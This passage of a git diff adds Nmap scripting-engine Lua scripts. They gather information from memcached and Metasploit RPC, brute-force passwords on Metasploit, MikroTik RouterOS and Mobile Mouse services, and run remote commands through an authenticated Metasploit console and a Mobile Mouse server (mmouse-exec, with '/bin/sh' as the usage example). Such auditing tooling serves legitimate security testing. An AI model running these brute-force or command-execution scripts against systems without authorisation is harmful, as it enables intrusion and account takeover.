+
+local order = {
+ "parsed[1]['nodes'][1]['hostname']",
+ "parsed[1]['nodes'][1]['os']",
+ "parsed[1]['nodes'][1]['version']",
+ "parsed['componentsVersion']['kernel']",
+ "parsed['componentsVersion']['mnesia']",
+ "parsed['componentsVersion']['stdlib']",
+ "parsed['componentsVersion']['os_mon']",
+ "parsed['componentsVersion']['ns_server']",
+ "parsed['componentsVersion']['sasl']",
+ "parsed[1]['nodes'][1]['status']",
+ "parsed[1]['nodes'][1]['uptime']",
+ "parsed[1]['nodes'][1]['memoryTotal']",
+ "parsed[1]['nodes'][1]['memoryFree']",
+ "parsed[1]['vBucketServerMap']['serverList']",
+}
+
+local function cmdReq(host, port, url, result)
+ local response = http.get(host, port, url)
+
+ if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then
+ return false
+ end
+
+ if ( response.header['server'] and
+ not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then
+ return false
+ end
+
+ local status, parsed = json.parse(response.body)
+ if ( not(status) ) then
+ return false, "Failed to parse response from server"
+ end
+
+ result = result or {}
+ for item in pairs(filter) do
+ local var, val = ""
+ for x in item:gmatch("(.-%])") do
+ var = var .. x
+ local env = setmetatable({parsed=parsed}, {__index = _G})
+ local func = load("return " .. var, nil, "t", env)
+
+ if ( not(func()) ) then
+ val = nil
+ break
+ end
+ val = func()
+ end
+
+ if ( val ) then
+ local name = filter[item].name
+ val = ( "table" == type(val) and table.concat(val, ",") or val )
+ result[item] = { name = name, value = val }
+ end
+ end
+ return true, result
+end
+
+action = function(host, port)
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, _ = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ local urls = { "/pools/default/buckets", "/pools" }
+
+ local status, result
+ for _, u in ipairs(urls) do
+ status, result = cmdReq(host, port, u, result)
+ end
+
+ if ( not(result) or not(next(result)) ) then
+ return
+ end
+
+ local output = tab.new(2)
+ for _, item in ipairs(order) do
+ if ( result[item] ) then
+ tab.addrow(output, result[item].name, result[item].value)
+ end
+ end
+
+ return stdnse.format_output(true, tab.dump(output))
+end
diff --git a/scripts/memcached-info.nse b/scripts/memcached-info.nse
new file mode 100644
index 0000000..a716880
--- /dev/null
+++ b/scripts/memcached-info.nse
@@ -0,0 +1,184 @@
+local os = require "os"
+local datetime = require "datetime"
+local nmap = require "nmap"
+local match = require "match"
+local math = require "math"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Retrieves information (including system architecture, process ID, and
+server time) from distributed memory object caching system memcached.
+]]
+
+---
+-- @usage
+-- nmap -p 11211 --script memcached-info
+--
+-- @output
+-- 11211/udp open unknown
+-- | memcached-info:
+-- | Process ID: 18568
+-- | Uptime: 6950 seconds
+-- | Server time: 2018-03-02T03:35:09
+-- | Architecture: 64 bit
+-- | Used CPU (user): 0.172010
+-- | Used CPU (system): 0.200012
+-- | Current connections: 10
+-- | Total connections: 78
+-- | Maximum connections: 1024
+-- | TCP Port: 11211
+-- | UDP Port: 11211
+-- |_ Authentication: no
+--
+-- @xmloutput
+-- <elem key="Process ID">17307</elem>
+-- <elem key="Uptime">10662 seconds</elem>
+-- <elem key="Server time">2018-03-01T16:46:59</elem>
+-- <elem key="Architecture">64 bit</elem>
+-- <elem key="Used CPU (user)">0.212809</elem>
+-- <elem key="Used CPU (system)">0.157151</elem>
+-- <elem key="Current connections">5</elem>
+-- <elem key="Total connections">11</elem>
+-- <elem key="Maximum connections">1024</elem>
+-- <elem key="TCP Port">11211</elem>
+-- <elem key="UDP Port">11211</elem>
+-- <elem key="Authentication">no</elem>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+portrule = shortport.port_or_service(11211, "memcached", {"tcp", "udp"})
+
+local filter = {
+
+ ["pid"] = { name = "Process ID" },
+ ["uptime"] = { name = "Uptime", func = function(v) return ("%d seconds"):format(v) end },
+ ["time"] = { name = "Server time", func = datetime.format_timestamp },
+ ["pointer_size"] = { name = "Architecture", func = function(v) return v .. " bit" end },
+ ["rusage_user"] = { name = "Used CPU (user)" },
+ ["rusage_system"] = { name = "Used CPU (system)"},
+ ["curr_connections"] = { name = "Current connections"},
+ ["total_connections"] = { name = "Total connections"},
+ ["maxconns"] = { name = "Maximum connections" },
+ ["tcpport"] = { name = "TCP Port" },
+ ["udpport"] = { name = "UDP Port" },
+ ["auth_enabled_sasl"] = { name = "Authentication" }
+
+}
+
+local order = {
+ "pid", "uptime", "time", "pointer_size", "rusage_user", "rusage_system",
+ "curr_connections", "total_connections", "maxconns", "tcpport", "udpport",
+ "auth_enabled_sasl"
+}
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local function mergetab(tab1, tab2)
+ for k, v in pairs(tab2) do
+ tab1[k] = v
+ end
+ return tab1
+end
+
+local Comm = {
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, options = options or {}}
+ self.protocol = port.protocol
+ self.req_id = math.random(0,0xfff)
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+ connect = function(self)
+ self.socket = nmap.new_socket(self.protocol)
+ self.socket:set_timeout(self.options.timeout or stdnse.get_timeout(self.host))
+ return self.socket:connect(self.host, self.port)
+ end,
+ exchange = function(self, data)
+ local req_id = self.req_id
+ self.req_id = req_id + 1
+ if self.protocol == "udp" then
+ data = string.pack(">I2 I2 I2 I2",
+ req_id, -- request ID
+ 0, -- sequence number
+ 1, -- number of datagrams
+ 0 -- reserved, must be 0
+ ) .. data
+ end
+ local status = self.socket:send(data)
+ if not status then
+ return false, "Failed to send request to server"
+ end
+ if self.protocol == "udp" then
+ local msgs = {}
+ local dgrams = 0
+ repeat
+ local status, response = self.socket:receive_bytes(8)
+ if not status then return false, "Failed to receive entire response" end
+ local resp_id, seq, ndgrams, pos = string.unpack(">I2 I2 I2 xx", response)
+ if resp_id == req_id then
+ dgrams = ndgrams
+ msgs[seq+1] = string.sub(response, pos)
+ end
+ until #msgs >= dgrams
+ return true, table.concat(msgs)
+ end
+
+ -- pattern matches ERR or ERROR at the beginning of a string or after a newline
+ return self.socket:receive_buf(match.pattern_limit("%f[^\n\0]E[NR][DR]O?R?\r\n", 2048), true)
+ end,
+}
+
+local function parseResponse(response, expected)
+ local kvs = {}
+ for k, v in response:gmatch(("%%f[^\n\0]%s ([^%%s]*) (.-)\r\n"):format(expected)) do
+ stdnse.debug1("k=%s, v=%s", k, v)
+ kvs[k] = v
+ end
+ return kvs
+end
+
+action = function(host, port)
+
+ local client = Comm:new(host, port)
+ local status = client:connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local request_time = os.time()
+ local status, response = client:exchange("stats\r\n")
+ if ( not(status) ) then
+ return fail(("Failed to send request to server: %s"):format(response))
+ end
+
+ local kvs = parseResponse(response, "STAT")
+ if kvs.time then
+ datetime.record_skew(host, kvs.time, request_time)
+ end
+
+ local status, response = client:exchange("stats settings\r\n")
+ if ( not(status) ) then
+ return fail(("Failed to send request to server: %s"):format(response))
+ end
+
+ local kvs2 = parseResponse(response, "STAT")
+
+ kvs = mergetab(kvs, kvs2)
+
+ local result = stdnse.output_table()
+ for _, item in ipairs(order) do
+ if ( kvs[item] ) then
+ local name = filter[item].name
+ local val = ( filter[item].func and filter[item].func(kvs[item]) or kvs[item] )
+ result[name] = val
+ end
+ end
+ return result
+
+end
diff --git a/scripts/metasploit-info.nse b/scripts/metasploit-info.nse
new file mode 100644
index 0000000..15e0fce
--- /dev/null
+++ b/scripts/metasploit-info.nse
@@ -0,0 +1,287 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local http = require "http"
+
+description = [[
+Gathers info from the Metasploit rpc service. It requires a valid login pair.
+After authentication it tries to determine Metasploit version and deduce the OS
+type. Then it creates a new console and executes few commands to get
+additional info.
+
+References:
+* http://wiki.msgpack.org/display/MSGPACK/Format+specification
+* https://community.rapid7.com/docs/DOC-1516 Metasploit RPC API Guide
+]]
+
+---
+--@usage
+-- nmap <target> --script=metasploit-info --script-args username=root,password=root
+--@output
+-- 55553/tcp open metasploit-msgrpc syn-ack
+-- | metasploit-info:
+-- | Metasploit version: 4.4.0-dev Ruby version: 1.9.3 i386-mingw32 2012-02-16 API version: 1.0
+-- | Additional info:
+-- | Host Name: WIN
+-- | OS Name: Microsoft Windows XP Professional
+-- | OS Version: 5.1.2600 Service Pack 3 Build 2600
+-- | OS Manufacturer: Microsoft Corporation
+-- | OS Configuration: Standalone Workstation
+-- | OS Build Type: Uniprocessor Free
+-- | ..... lots of other info ....
+-- | Domain: WORKGROUP
+-- |_ Logon Server: \\BLABLA
+--
+-- @args metasploit-info.username Valid metasploit rpc username (required)
+-- @args metasploit-info.password Valid metasploit rpc password (required)
+-- @args metasploit-info.command Custom command to run on the server (optional)
+--
+-- @see metasploit-msgrpc-brute.nse
+
+
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","safe"}
+
+portrule = shortport.port_or_service(55553,"metasploit-msgrpc")
+local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
+local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
+local arg_command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
+local os_type
+
+-- returns a "prefix" that msgpack uses for strings
+local get_prefix = function(data)
+ if #data <= 31 then
+ return string.pack("B", 0xa0 + #data)
+ else
+ return "\xda" .. string.pack(">I2", #data)
+ end
+end
+
+-- returns a msgpacked data for console.read
+local encode_console_read = function(method,token, console_id)
+ return "\x93" .. get_prefix(method) .. method .. "\xda\x00\x20" .. token .. get_prefix(console_id) .. console_id
+end
+
+-- returns a msgpacked data for console.write
+local encode_console_write = function(method, token, console_id, command)
+ return "\x94" .. get_prefix(method) .. method .. "\xda\x00\x20" .. token .. get_prefix(console_id) .. console_id .. get_prefix(command) .. command
+end
+
+-- returns a msgpacked data for auth.login
+local encode_auth = function(username, password)
+ local method = "auth.login"
+ return "\x93\xaa" .. method .. get_prefix(username) .. username .. get_prefix(password) .. password
+end
+
+-- returns a msgpacked data for any method without extra parameters
+local encode_noparam = function(token,method)
+ -- token is always the same length
+ return "\x92" .. get_prefix(method) .. method .. "\xda\x00\x20" .. token
+end
+
+-- does the actual call with specified, pre-packed data
+-- and returns the response
+local msgrpc_call = function(host, port, msg)
+ local data
+ local options = {
+ header = {
+ ["Content-Type"] = "binary/message-pack"
+ }
+ }
+ data = http.post(host,port, "/api/",options, nil , msg)
+ if data and data.status and tostring( data.status ):match( "200" ) then
+ return data.body
+ end
+ return nil
+end
+
+-- auth.login wrapper, returns the auth token
+local login = function(username, password,host,port)
+
+ local data = msgrpc_call(host, port, encode_auth(username,password))
+
+ if data then
+ local start = string.find(data,"success")
+ if start > -1 then
+ -- get token
+ local token = string.sub(string.sub(data,start),17) -- "manually" unpack token
+ return true, token
+ else
+ return false, nil
+ end
+ end
+ stdnse.debug1("something is wrong:" .. data )
+ return false, nil
+end
+
+-- core.version wrapper, returns version info, and sets the OS type
+-- so we can decide which commands to send later
+local get_version = function(host, port, token)
+ local msg = encode_noparam(token,"core.version")
+
+ local data = msgrpc_call(host, port, msg)
+ -- unpack data
+ if data then
+ -- get version, ruby version, api version
+ local start = string.find(data,"version")
+ local metasploit_version
+ local ruby_version
+ local api_version
+ if start then
+ metasploit_version = string.sub(string.sub(data,start),9)
+ start = string.find(metasploit_version,"ruby")
+ start = start - 2
+ metasploit_version = string.sub(metasploit_version,1,start)
+ start = string.find(data,"ruby")
+ ruby_version = string.sub(string.sub(data,start),6)
+ start = string.find(ruby_version,"api")
+ start = start - 2
+ ruby_version = string.sub(ruby_version,1,start)
+ start = string.find(data,"api")
+ api_version = string.sub(string.sub(data,start),5)
+ -- put info in a table and parse for OS detection and other info
+ port.version.name = "metasploit-msgrpc"
+ port.version.product = metasploit_version
+ port.version.name_confidence = 10
+ nmap.set_port_version(host,port)
+ local info = "Metasploit version: " .. metasploit_version .. " Ruby version: " .. ruby_version .. " API version: " .. api_version
+ if string.find(ruby_version,"mingw") < 0 then
+ os_type = "linux" -- assume linux for now
+ else -- mingw compiler means it's a windows build
+ os_type = "windows"
+ end
+ stdnse.debug1("%s", info)
+ return info
+ end
+ end
+ return nil
+end
+
+-- console.create wrapper, returns console_id
+-- which we can use to interact with metasploit further
+local create_console = function(host,port,token)
+ local msg = encode_noparam(token,"console.create")
+ local data = msgrpc_call(host, port, msg)
+ -- unpack data
+ if data then
+ --get console id
+ local start = string.find(data,"id")
+ local console_id
+ if start then
+ console_id = string.sub(string.sub(data,start),4)
+ local next_token = string.find(console_id,"prompt")
+ console_id = string.sub(console_id,1,next_token-2)
+ return console_id
+ end
+ end
+ return nil
+
+end
+
+-- console.read wrapper
+local read_console = function(host,port,token,console_id)
+ local msg = encode_console_read("console.read",token,console_id)
+ local data = msgrpc_call(host, port, msg)
+ -- unpack data
+ if data then
+ -- check if busy
+ while string.byte(data,string.len(data)) == 0xc3 do
+ -- console is busy , let's retry in one second
+ stdnse.sleep(1)
+ data = msgrpc_call(host, port, msg)
+ end
+ local start = string.find(data,"data")
+ local read_data
+ if start then
+ read_data = string.sub(string.sub(data,start),8)
+ local next_token = string.find(read_data,"prompt")
+ read_data = string.sub(read_data,1,next_token-2)
+ return read_data
+ end
+ end
+end
+
+-- console.write wrapper
+local write_console = function(host,port,token,console_id,command)
+ local msg = encode_console_write("console.write",token,console_id,command .. "\n")
+ local data = msgrpc_call(host, port, msg)
+ -- unpack data
+ if data then
+ return true
+ end
+ return false
+end
+
+-- console.destroy wrapper, just to be nice, we don't want console to hang ...
+local destroy_console = function(host,port,token,console_id)
+ local msg = encode_console_read("console.destroy",token,console_id)
+ local data = msgrpc_call(host, port, msg)
+end
+
+-- write command and read result helper
+local write_read_console = function(host,port,token, console_id,command)
+ if write_console(host,port,token,console_id, command) then
+ local read_data = read_console(host,port,token,console_id)
+ if read_data then
+ read_data = string.sub(read_data,string.find(read_data,"\n")+1) -- skip command echo
+ return read_data
+ end
+ end
+ return nil
+end
+
+action = function( host, port )
+ if not arg_username or not arg_password then
+ stdnse.debug1("This script requires username and password supplied as arguments")
+ return false
+ end
+
+ -- authenticate
+ local status, token = login(arg_username,arg_password,host,port)
+ if status then
+ -- get version info
+ local info = get_version(host,port,token)
+ local console_id = create_console(host,port,token)
+ if console_id then
+ local read_data = read_console(host,port,token,console_id) -- first read the banner/ascii art
+ stdnse.debug2("%s", read_data) -- print the nice looking banner if dbg level high enough :)
+ if read_data then
+ if os_type == "linux" then
+ read_data = write_read_console(host,port,token,console_id, "uname -a")
+ if read_data then
+ info = info .. "\nAdditional info: " .. read_data
+ end
+ read_data = write_read_console(host,port,token,console_id, "id")
+ if read_data then
+ info = info .. read_data
+ end
+ elseif os_type == "windows" then
+ read_data = write_read_console(host,port,token,console_id, "systeminfo")
+ if read_data then
+ stdnse.debug2("%s", read_data) -- print whole info if dbg level high enough
+ local stop = string.find(read_data,"Hotfix") -- trim data down , systeminfo return A LOT
+ read_data = string.sub(read_data,1,stop-2)
+ info = info .. "\nAdditional info: \n" .. read_data
+ end
+ end
+ if arg_command then
+ read_data = write_read_console(host,port,token,console_id, arg_command)
+ if read_data then
+ info = info .. "\nCustom command output: " .. read_data
+ end
+ end
+ if read_data then
+ -- let's be nice and close the console
+ destroy_console(host,port,token,console_id)
+ end
+ end
+ end
+ if info then
+ return stdnse.format_output(true,info)
+ end
+ end
+ return false
+end
diff --git a/scripts/metasploit-msgrpc-brute.nse b/scripts/metasploit-msgrpc-brute.nse
new file mode 100644
index 0000000..555d439
--- /dev/null
+++ b/scripts/metasploit-msgrpc-brute.nse
@@ -0,0 +1,110 @@
+local brute = require "brute"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local http = require "http"
+local creds = require "creds"
+
+description = [[
+Performs brute force username and password auditing against
+Metasploit msgrpc interface.
+
+]]
+
+---
+-- @usage
+-- nmap --script metasploit-msgrpc-brute -p 55553 <host>
+--
+-- This script uses brute library to perform password
+-- guessing against Metasploit's msgrpc interface.
+--
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 55553/tcp open unknown syn-ack
+-- | metasploit-msgrpc-brute:
+-- | Accounts
+-- | root:root - Valid credentials
+-- | Statistics
+-- |_ Performed 10 guesses in 10 seconds, average tps: 1
+
+
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(55553,"metasploit-msgrpc")
+
+
+-- returns a "prefix" that msgpack uses for strings
+local get_prefix = function(data)
+ if #data <= 31 then
+ return string.pack("B", 0xa0 + #data)
+ else
+ return "\xda" .. string.pack(">I2", #data)
+ end
+end
+
+-- simple function that implements basic msgpack encoding we need for this script
+-- see http://wiki.msgpack.org/display/MSGPACK/Format+specification for more
+local encode = function(username, password)
+ return "\x93\xaaauth.login" .. get_prefix(username) .. username .. get_prefix(password) .. password
+end
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ -- as we are using http methods, no need for connect and disconnect
+ -- this might cause a problem as in other scripts that don't have explicit connect
+ -- as there is no way to "reserve" a socket
+ connect = function( self )
+ return true
+ end,
+
+ login = function (self, user, pass)
+ local data
+ local options = {
+ header = {
+ ["Content-Type"] = "binary/message-pack"
+ }
+ }
+ stdnse.debug1( "Trying %s/%s ...", user, pass )
+ data = http.post(self.host,self.port, "/api/",options, nil , encode(user,pass))
+ if data and data.status and tostring( data.status ):match( "200" ) then
+ if string.find(data.body,"success") then
+ return true, creds.Account:new( user, pass, creds.State.VALID)
+ else
+ return false, brute.Error:new( "Incorrect username or password" )
+ end
+ end
+ local err = brute.Error:new("Login didn't return a proper response")
+ err:setRetry( true )
+ return false, err
+ end,
+
+ disconnect = function( self )
+ return true
+ end
+}
+
+action = function( host, port )
+
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ engine.max_threads = 3
+ engine.max_retries = 10
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/metasploit-xmlrpc-brute.nse b/scripts/metasploit-xmlrpc-brute.nse
new file mode 100644
index 0000000..4efb9f6
--- /dev/null
+++ b/scripts/metasploit-xmlrpc-brute.nse
@@ -0,0 +1,99 @@
+local brute = require "brute"
+local comm = require "comm"
+local creds = require "creds"
+local match = require "match"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+local openssl = stdnse.silent_require "openssl"
+
+description=[[
+Performs brute force password auditing against a Metasploit RPC server using the XMLRPC protocol.
+]]
+
+---
+-- @usage
+-- nmap --script metasploit-xmlrpc-brute -p 55553 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 55553/tcp open unknown
+-- | metasploit-xmlrpc-brute:
+-- | Accounts
+-- | password - Valid credentials
+-- | Statistics
+-- |_ Performed 243 guesses in 2 seconds, average tps: 121
+--
+
+author = "Vlatko Kosturjak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(55553, "metasploit-xmlrpc", "tcp")
+
+Driver =
+{
+ new = function (self, host, port, opts)
+ local o = { host = host, port = port, opts = opts }
+ setmetatable (o,self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function ( self )
+ self.socket = brute.new_socket()
+ if ( not(self.socket:connect(self.host, self.port, self.opts)) ) then
+ return false
+ end
+ return true
+ end,
+
+ login = function( self, username, password )
+ local xmlreq='<?xml version="1.0" ?><methodCall><methodName>auth.login</methodName><params><param><value><string>'..username..'</string></value></param><param><value><string>'..password.."</string></value></param></params></methodCall>\n\0"
+ local status, err = self.socket:send(xmlreq)
+
+ if ( not ( status ) ) then
+ local err = brute.Error:new( "Unable to send handshake" )
+ err:setAbort(true)
+ return false, err
+ end
+
+ -- Create a buffer and receive the first line
+ local response
+ status, response = self.socket:receive_buf(match.pattern_limit("\r?\n", 2048), false)
+
+ if (response == nil or string.match(response,"<name>faultString</name><value><string>authentication error</string>")) then
+ stdnse.debug2("Bad login: %s/%s", username, password)
+ return false, brute.Error:new( "Bad login" )
+ elseif (string.match(response,"<name>result</name><value><string>success</string></value>")) then
+
+ stdnse.debug1("Good login: %s/%s", username, password)
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ stdnse.debug1("WARNING: Unhandled response: %s", response)
+ return false, brute.Error:new( "unhandled response" )
+ end,
+
+ disconnect = function( self )
+ self.socket:close()
+ end,
+}
+
+action = function(host, port)
+
+ -- first determine whether we need SSL or not
+ local xmlreq='<?xml version="1.0" ?><methodCall><methodName>core.version</methodName></methodCall>\n\0'
+ local socket, _, opts = comm.tryssl(host, port, xmlreq, { recv_first = false } )
+ if ( not(socket) ) then
+ return stdnse.format_output(false, "Failed to determine whether SSL was needed or not")
+ end
+
+ local engine = brute.Engine:new(Driver, host, port, opts)
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ local status, result = engine:start()
+ return result
+end
+
diff --git a/scripts/mikrotik-routeros-brute.nse b/scripts/mikrotik-routeros-brute.nse
new file mode 100644
index 0000000..6a13f4f
--- /dev/null
+++ b/scripts/mikrotik-routeros-brute.nse
@@ -0,0 +1,99 @@
+description = [[
+Performs brute force password auditing against Mikrotik RouterOS devices with the API RouterOS interface enabled.
+
+Additional information:
+* http://wiki.mikrotik.com/wiki/API
+]]
+
+---
+-- @usage
+-- nmap -p8728 --script mikrotik-routeros-brute <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 8728/tcp open unknown syn-ack
+-- | mikrotik-routeros-brute:
+-- | Accounts
+-- | admin:dOsmyvsvJGA967eanX - Valid credentials
+-- | Statistics
+-- |_ Performed 60 guesses in 602 seconds, average tps: 0
+--
+-- @args mikrotik-routeros-brute.threads sets the number of threads. Default: 1
+--
+---
+
+author = "Paulino Calderon <calderon()websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+local shortport = require "shortport"
+local brute = require "brute"
+local creds = require "creds"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local openssl = stdnse.silent_require "openssl"
+
+portrule = shortport.portnumber(8728, "tcp")
+
+Driver =
+{
+ new = function(self, host, port, options )
+ local o = { host = host, port = port, options = options }
+ setmetatable(o, self)
+ self.__index = self
+ o.emptypass = true
+ return o
+ end,
+
+ connect = function( self )
+ self.s = brute.new_socket()
+ self.s:set_timeout(self.options['timeout'])
+ return self.s:connect(self.host, self.port, "tcp")
+ end,
+
+ login = function( self, username, password )
+ local status, data, try
+ data = string.pack("s1x", "/login")
+
+ --Connect to service and obtain the challenge response
+ try = nmap.new_try(function() return false end)
+ try(self.s:send(data))
+ data = try(self.s:receive_bytes(50))
+ stdnse.debug1("Response #1:%s", data)
+ local _, _, ret = string.find(data, '!done%%=ret=(.+)')
+
+ --If we find the challenge value we continue the connection process
+ if ret then
+ stdnse.debug1("Challenge value found:%s", ret)
+ local md5str = "\0" .. password .. stdnse.fromhex(ret) --appends pwd and challenge
+ local chksum = stdnse.tohex(openssl.md5(md5str))
+ local login_pkt = string.pack("s1s1s1x", "/login", "=name="..username, "=response=00"..chksum)
+ try(self.s:send(login_pkt))
+ data = try(self.s:receive_bytes(50))
+ stdnse.debug1("Response #2:%s", data)
+ if data then
+ if string.find(data, "message=cannot") == nil then
+ local c = creds.Credentials:new(SCRIPT_NAME, self.host, self.port )
+ c:add(username, password, creds.State.VALID )
+ end
+ end
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ return self.s:close()
+ end
+}
+
+action = function(host, port)
+ local thread_num = tonumber(stdnse.get_script_args(SCRIPT_NAME..".threads")) or 1
+ local options = {timeout = 5000}
+ local bengine = brute.Engine:new(Driver, host, port, options)
+
+ bengine:setMaxThreads(thread_num)
+ bengine.options.script_name = SCRIPT_NAME
+ local _, result = bengine:start()
+ return result
+end
diff --git a/scripts/mmouse-brute.nse b/scripts/mmouse-brute.nse
new file mode 100644
index 0000000..8c732e3
--- /dev/null
+++ b/scripts/mmouse-brute.nse
@@ -0,0 +1,120 @@
+local brute = require "brute"
+local creds = require "creds"
+local match = require "match"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password auditing against the RPA Tech Mobile Mouse
+servers.
+
+The Mobile Mouse server runs on OS X, Windows and Linux and enables remote
+control of the keyboard and mouse from an iOS device. For more information:
+http://mobilemouse.com/
+]]
+
+---
+-- @usage
+-- nmap --script mmouse-brute -p 51010 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 51010/tcp open unknown
+-- | mmouse-brute:
+-- | Accounts
+-- | vanilla - Valid credentials
+-- | Statistics
+-- |_ Performed 1199 guesses in 23 seconds, average tps: 47
+--
+-- @args mmouse-brute.timeout socket timeout for connecting to Mobile Mouse (default 5s)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+arg_timeout = (arg_timeout or 5) * 1000
+
+portrule = shortport.port_or_service(51010, "mmouse", "tcp")
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = brute.new_socket()
+ self.socket:set_timeout(arg_timeout)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ login = function( self, username, password )
+ local devid = "0123456789abcdef0123456789abcdef0123456"
+ local devname = "Lord Vaders iPad"
+ local suffix = "2".."\30".."2".."\04"
+ local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
+
+ local status = self.socket:send(auth)
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send data to server" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ local status, data = self.socket:receive_buf(match.pattern_limit("\04", 2048), true)
+
+ if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then
+ return false, brute.Error:new( "Incorrect password" )
+ elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then
+ return true, creds.Account:new("", password, creds.State.VALID)
+ end
+
+ local err = brute.Error:new("An unexpected error occurred, retrying ...")
+ err:setRetry(true)
+ return false, err
+ end,
+
+ disconnect = function(self)
+ self.socket:close()
+ end,
+
+}
+
+local function hasPassword(host, port)
+ local driver = Driver:new(host, port)
+ if ( not(driver:connect()) ) then
+ error("Failed to connect to server")
+ end
+ local status = driver:login(nil, "nmap")
+ driver:disconnect()
+
+ return not(status)
+end
+
+
+action = function(host, port)
+
+ if ( not(hasPassword(host, port)) ) then
+ return "\n Server has no password"
+ end
+
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port )
+
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ engine.options:setOption( "passonly", true )
+
+ -- mouse server does not behave well when multiple threads are guessing
+ engine:setMaxThreads(1)
+
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/mmouse-exec.nse b/scripts/mmouse-exec.nse
new file mode 100644
index 0000000..d45339a
--- /dev/null
+++ b/scripts/mmouse-exec.nse
@@ -0,0 +1,180 @@
+local creds = require "creds"
+local match = require "match"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Connects to an RPA Tech Mobile Mouse server, starts an application and
+sends a sequence of keys to it. Any application that the user has
+access to can be started and the key sequence is sent to the
+application after it has been started.
+
+The Mobile Mouse server runs on OS X, Windows and Linux and enables remote
+control of the keyboard and mouse from an iOS device. For more information:
+http://mobilemouse.com/
+
+The script has only been tested against OS X and will detect the remote OS
+and abort unless the OS is detected as Mac.
+]]
+
+---
+-- @usage
+-- nmap -p 51010 <host> --script mmouse-exec \
+-- --script-args application='/bin/sh',keys='ping -c 5 127.0.0.1'
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 51010/tcp open unknown syn-ack
+-- | mmouse-exec:
+-- |_ Attempted to start application "/bin/sh" and sent "ping -c 5 127.0.0.1"
+--
+-- @args mmouse-exec.password The password needed to connect to the mobile
+-- mouse server
+-- @args mmouse-exec.application The application which is to be started at the
+-- server
+-- @args mmouse-exec.keys The key sequence to send to the started application
+-- @args mmouse-exec.delay Delay in seconds to wait before sending the key
+-- sequence. (default: 3 seconds)
+--
+
+author = "Patrik Karlsson"
+categories = {"intrusive"}
+dependencies = {"mmouse-brute"}
+
+
+local arg_password = stdnse.get_script_args(SCRIPT_NAME .. '.password')
+local arg_app = stdnse.get_script_args(SCRIPT_NAME .. '.application')
+local arg_keys = stdnse.get_script_args(SCRIPT_NAME .. '.keys')
+local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3
+
+portrule = shortport.port_or_service(51010, "mmouse", "tcp")
+
+local function receiveData(socket, cmd)
+ local status, data = ""
+ repeat
+ status, data = socket:receive_buf(match.pattern_limit("\04", 2048), true)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+ until( cmd == nil or data:match("^" .. cmd) )
+ return true, data
+end
+
+local function authenticate(socket, password)
